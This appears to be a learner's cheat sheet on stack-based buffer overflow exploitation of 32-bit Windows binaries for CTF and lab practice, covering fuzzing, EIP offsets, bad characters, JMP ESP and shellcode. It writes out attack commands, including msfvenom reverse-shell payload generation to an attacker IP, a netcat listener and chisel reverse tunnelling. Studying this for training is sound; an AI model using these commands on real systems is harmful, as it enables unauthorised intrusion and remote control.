Buffer Overflow - Stack based - Winx86
Last updated
Last updated
For the buffer overflow, you need to take the binary you want to investigate and put it in your own lab to analyse and test it. Sometimes for CTF or on CTF platforms you will have to get it from the remote machine.
When I started, I found buffer overflow very hard. And today I almost enjoy it ;) :D
In order to understand it better, here is what I did:
Checked out Heath Adams video The Cyber Mentor on youtube (completely free, clear and very well explained)
Complemented this with the cours on HTB Academy
Finally I practiced on some boxes on TryHackMe
See links in the resources below
If you do not like x64dbg you can use
Plugin for x64gdb
ERC --help
will show help menu
ERC --config SetWorkingDirectory C:\Users\User\directory
Set default working directory
Virtualbox or VMWare
One kali
One win
Note: The scripts provided here are shown as example, you will have to modify them according to the behavior of the binary you are testing
For remote buffer overflow to connect to the target and check a specific port you can use netcat nc -nv IP.IP.IP.IP PORT
Remote fuzzing
netstat -a
| to check if the bin listens on a specific port
You will need chisel On your attacking machine ./chisel server -reverse
On your victim machine .\chisel.exe client IP-DE-KALI:8080 R:21449:127.0.0.1:21449
From your attacking machine .\nc.exe 127.0.0.1 PortNumber
| to interact with the bin remotely
Start fuzzing
Here is how it looks in your console:
Once we get the number of bytes, we can fill our buffer with an ASCII pattern.
In x32dbg
Erc will generate a txt with a pattern that will be available in your working directory (if you did not set a working dir, it will probably end up in the plugins folder) It should be named "Pattern_Create_1.txt"
We modify our script accordingly
We now need another function to identify bad chars. To get a list of badchars we can use the following command with ERC ERC --bytearray
we will then get a file intitled ByteArray_1.txt
in our working directory. And we can then update our script:
In our example for example we can see that 0x00 seems to be a bad char. So we have to repeat this same process again and remove 0x00 from our list. To get the new list we can use ERC again and specify to remove 0x00 ERC --bytearray -bytes 0x00
We do this again and again until we do not have any bad chars anymore.
We can use ERC to list modules: ERC --ModuleInfo
Now that we know where is jmp esp we can create our shellcode with msfvenom and specify the badchars In our local env we will launch calc
msfvenom -p 'windows/exec' CMD='calc.exe' -f 'python' -b '\x00\x0a\x0d'
We can comment the bad_chars function and define our last exploit function
We will make our final payload which will send the buffer, the eip, some nop and our shellcode.
As the top of the stack can move we'll add some nop (no operations)
To be safe we can put 32 nops because it rarely reaches 32 bytes (not more than 16 in general)
And as we are going to use pack we need to import the necessary python modules, pack will allow us to manage the little Endian and we will use '<L' to specify Little Endian.
And so in EIP we put the address of jmp esp in little endian.
And here is our last function ready to be sent:
At this point we can just try t without the debugger, we should see the calc pop up in our test machine.
So now that our exploi works locally we can use it on the target.
We can change our shellcode to get a reverse shell instead of launching calc.
msfvenom -p 'windows/shell_reverse_tcp' LHOST=ATTACKING-MACHINE-IP LPORT=1234 -f 'python' -b '\x00\x0a\x0d'
Here is our final script:
/usr/bin/msf-pattern_create -l 5000
Create a Pattern with msf-pattern (Metasploit)
/usr/bin/msf-pattern_offset -q 31684630
Find Pattern Offset with Metaplsoit
netstat -a \|findstr LISTEN
List listening ports on a Windows machine
nc 127.0.0.1 8888
Interact with port 8888
msfvenom -p 'windows/exec' CMD='cmd.exe' -f 'python' -b '\x00'
Generate a Local Privesc Shellcode
msfvenom -p 'windows/shell_reverse_tcp' LHOST=IP-ADR-OF-TARGET LPORT=1234 -f 'python' -b '\x00\0x0a'
Generate a Reverse Shell Shellcode
nc -lvnp 1234
catch our reverse shell
F3
Open file
alt+A
Attach to a process
alt+L
Go to Logs Tab
alt+E
Go to Symbols Tab
ctrl+f
Search for instruction
ctrl+b
Search for pattern
Search For>All Modules>Command
Search all loaded modules for instruction
Search For>All Modules>Pattern
Search all loaded modules for pattern
ERC --config SetWorkingDirectory C:\Users\htb-student\Desktop\
Configure Working Directory
ERC --pattern c 5000
Create Pattern
ERC --pattern o pA6p
Find Pattern Offset
ERC --bytearray
Generate All Characters Byte Array
ERC --bytearray -bytes 0x00
Generate Byte Array excluding certain bytes
ERC --compare 0014F974 C:\Users\User\working-dir\ByteArray_1.bin
Compare bytes in memory to a Byte Array file
ERC --ModuleInfo
List loaded modules and their memory protections
`python -c "print('A'*10000)" Print 10000 'A's
python -c "print('A'*10000, file=open('fuzz.wav', 'w'))"
Write it to a file
breakpoint()
Add a breakpoint to Python exploit
c
Continue from breakpoint
We can now relaunch the program from our debbugger The program will crach with the pattern that rewritten EIP. In x32debug we can select the address of EIP to calculate the offset we can click on "modify value"
We can then use ERC pattern: ERC --pattern o pA6p
In the example we can then write that our offset is 469 We can update our script accordingly
We can then relaunch the bin with the restart button in x32dbg (Note everytime you rerun the script check that it is running and not paused) We can now see that we control EIP because we can see our B (42424242) sent by our script
We can then restart the binay in x32dbg and run our script. We have to check out for bad chars using ESP address and the ByteArray file generated with ERC
We are now able to compare every char using the table
We need to find one with all protections set to false: In our example we can use win32bof.exe or funcs.dll We can search for JMP ESP or CALL ESP We go to the symbols tab and click on the line win32bof.exe as it was in the list Then we can do ctrl+f to search for jmp esp We have no results so we will try with funcs.dll We have an address: We can then write down this address and keep aside